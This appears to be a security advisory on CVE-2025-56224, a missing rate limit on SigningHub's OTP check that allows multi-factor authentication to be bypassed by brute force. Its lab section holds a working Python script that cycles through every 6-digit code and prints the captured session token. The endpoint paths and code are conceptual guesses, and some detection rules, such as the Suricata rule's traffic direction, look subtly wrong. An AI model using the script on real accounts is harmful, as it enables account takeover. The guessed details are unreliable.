CVE-2025-56224

Executive Summary

CVE-2025-56224 identifies a critical security flaw in SigningHub v8.6.8, specifically within the One-Time Password (OTP) verification endpoint. The vulnerability is a lack of rate limiting, which allows an unauthenticated attacker to perform a brute-force attack against the OTP verification process. Successful exploitation enables an attacker to bypass OTP-based multi-factor authentication (MFA), potentially gaining unauthorized access to user accounts and sensitive documents managed by the platform. This vulnerability is particularly dangerous in enterprise environments where SigningHub is used for legally binding digital signatures and document workflows.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application, SigningHub. The risk is primarily to the application's internal authentication logic and does not stem from a compromised dependency.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need an account.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full access to user accounts and documents.
• Integrity (I): High – Ability to forge signatures or modify documents.
• Availability (A): High – Potential to lock out legitimate users or disrupt service.

Threat Level: Critical. The lack of rate limiting makes brute-force attacks highly feasible, especially with short OTP codes (e.g., 6 digits). An attacker can automate thousands of requests per minute.

Deep Dive & Mechanics

The vulnerability resides in the OTP verification endpoint, typically accessed via a POST request to a path like /api/otp/verify or /verify-otp. The application fails to implement any of the following controls:

• Request throttling: Limiting the number of requests from a single IP address or session within a time window.
• Account lockout: Temporarily disabling the account after a certain number of failed attempts.
• CAPTCHA: Requiring human interaction after a threshold of failures.
• Exponential backoff: Increasing the delay between attempts after each failure.

Attack Flow:

1. The attacker obtains a valid username or email for a target user (e.g., via OSINT or a previous data breach).
2. The attacker initiates the OTP generation process (e.g., by triggering a password reset or login).
3. The target user receives the OTP, but the attacker does not need it.
4. The attacker sends a high volume of POST requests to the OTP verification endpoint, iterating through all possible OTP values (e.g., 000000 to 999999 for a 6-digit code).
5. Due to the lack of rate limiting, the server processes each attempt rapidly.
6. When the correct OTP is guessed, the server returns a success response (e.g., HTTP 200 with a session token), granting the attacker access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - SigningHub v8.6.8):

# Vulnerable endpoint - no rate limiting
@app.route('/api/otp/verify', methods=['POST'])
def verify_otp():
    username = request.json.get('username')
    otp = request.json.get('otp')
    stored_otp = get_stored_otp(username)
    if otp == stored_otp:
        return jsonify({'success': True, 'token': generate_token(username)})
    else:
        return jsonify({'success': False}), 401

Patched Code (Conceptual - Hypothetical Fix):

# Patched endpoint - with rate limiting
from flask_limiter import Limiter
limiter = Limiter(key_func=lambda: request.remote_addr)

@app.route('/api/otp/verify', methods=['POST'])
@limiter.limit("5 per minute")  # 5 attempts per minute per IP
def verify_otp():
    username = request.json.get('username')
    otp = request.json.get('otp')
    stored_otp = get_stored_otp(username)
    if otp == stored_otp:
        return jsonify({'success': True, 'token': generate_token(username)})
    else:
        return jsonify({'success': False}), 401

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a local instance of SigningHub v8.6.8 (e.g., using a Docker image or a virtual machine).
2. Create a test user account and trigger an OTP generation.
3. Use a tool like Burp Suite, OWASP ZAP, or a custom Python script to brute-force the OTP.

Exploitation Script (Python):

import requests
import itertools

target_url = "http://target-signinghub.local/api/otp/verify"
username = "victim@example.com"

# Generate all 6-digit OTPs (000000 to 999999)
for otp in range(1000000):
    otp_str = f"{otp:06d}"
    payload = {"username": username, "otp": otp_str}
    response = requests.post(target_url, json=payload)
    if response.status_code == 200 and response.json().get("success"):
        print(f"[+] Valid OTP found: {otp_str}")
        print(f"[+] Session token: {response.json().get('token')}")
        break
    else:
        print(f"[-] Attempt {otp_str} failed")

Note: In a real attack, the script would be optimized with threading or async requests to maximize speed.

Blue Team (Defensive)

Detection & Response:

1. Monitor for high volumes of POST requests to the OTP verification endpoint from a single IP address.
2. Alert on repeated 401 Unauthorized responses for the same username within a short time window.
3. Implement rate limiting at the application layer (e.g., using a reverse proxy like Nginx or a WAF).
4. Enable account lockout after 5-10 failed OTP attempts.
5. Use CAPTCHA after the first failed attempt.
6. Log all OTP verification attempts with timestamps, IP addresses, and usernames.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of POST requests to /api/otp/verify or similar endpoints.
  • Requests containing sequential or predictable OTP values (e.g., 000001, 000002).
  • Multiple 401 responses followed by a single 200 response for the same username.

• Log IOCs:

  • Log entries showing rapid succession of OTP verification failures.
  • Log entries with the same username and varying OTP values.
  • Successful login from an unusual IP address immediately after a brute-force pattern.

• System IOCs:

  • Unusual CPU or memory spikes on the application server due to high request volume.
  • Increased database queries for OTP validation.

Detection Engineering

YARA Rule

rule Detect_OTP_BruteForce_Attempts {
    meta:
        description = "Detects high volume of OTP verification requests in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56224"
    strings:
        $otp_endpoint = "/api/otp/verify"
        $failed_response = "401"
        $success_response = "200"
    condition:
        #otp_endpoint > 100 and #failed_response > 50
}

Sigma Rule

title: High Volume of OTP Verification Failures
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential brute-force attack on OTP verification endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/otp/verify'
        sc-status: 401
    timeframe: 5m
    condition: selection | count() by c-ip > 50
falsepositives:
    - Legitimate users with connectivity issues
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56224 - Potential OTP Brute Force Attack";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/otp/verify"; http_uri;
    content:"401"; http_server_body;
    threshold: type both, track by_src, count 50, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply rate limiting to the OTP verification endpoint. Use a reverse proxy (Nginx, HAProxy) or a WAF to limit requests per IP to 5-10 per minute.
2. Implement account lockout after 5 failed OTP attempts for a given username.
3. Increase OTP complexity (e.g., use 8-digit codes instead of 6-digit).
4. Add CAPTCHA after the first failed attempt.
5. Monitor logs for brute-force patterns and block offending IPs.

Long-Term Fix:

• Upgrade to a patched version of SigningHub once available.
• Implement a Web Application Firewall (WAF) with bot detection capabilities.
• Conduct a security audit of all authentication endpoints.

Workarounds:

• Disable OTP-based authentication temporarily if not critical.
• Use a VPN or IP whitelist to restrict access to the SigningHub interface.

Valters IT